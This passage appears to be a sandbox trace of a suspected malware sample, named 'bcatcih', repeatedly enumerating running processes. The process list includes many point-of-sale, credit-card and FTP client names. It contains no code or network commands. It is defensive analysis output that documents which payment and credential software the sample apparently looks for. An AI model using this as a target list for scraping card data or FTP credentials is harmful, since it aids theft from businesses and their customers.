pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0290.704] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0290.706] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0290.708] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0290.710] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0290.711] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0290.713] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0290.715] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0290.717] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0290.718] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0290.720] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0290.722] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0290.723] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0290.770] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0290.771] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0290.773] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0290.775] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0290.776] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0290.778] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0290.780] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0290.781] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0290.783] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0290.787] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0290.789] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0290.791] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0290.793] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0290.795] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0290.796] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0290.798] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0290.800] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0290.802] CloseHandle (hObject=0x344) returned 1 [0290.802] Sleep (dwMilliseconds=0x64) [0290.856] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0290.921] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0290.922] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0290.924] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0290.938] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0290.941] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0290.943] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0290.945] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0290.948] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0290.950] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0290.952] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.955] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.957] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0291.007] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.010] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.012] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.014] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.015] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.017] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.018] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.020] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0291.021] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0291.024] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0291.025] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.027] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0291.029] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0291.030] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0291.032] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0291.033] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.035] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0291.036] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0291.038] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0291.039] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0291.041] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0291.043] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0291.044] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0291.046] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0291.048] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0291.105] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0291.107] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0291.109] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0291.110] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0291.112] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0291.113] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0291.115] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0291.116] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0291.118] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0291.120] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0291.121] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0291.123] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0291.124] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0291.126] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0291.127] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0291.131] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0291.133] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0291.135] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0291.137] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, 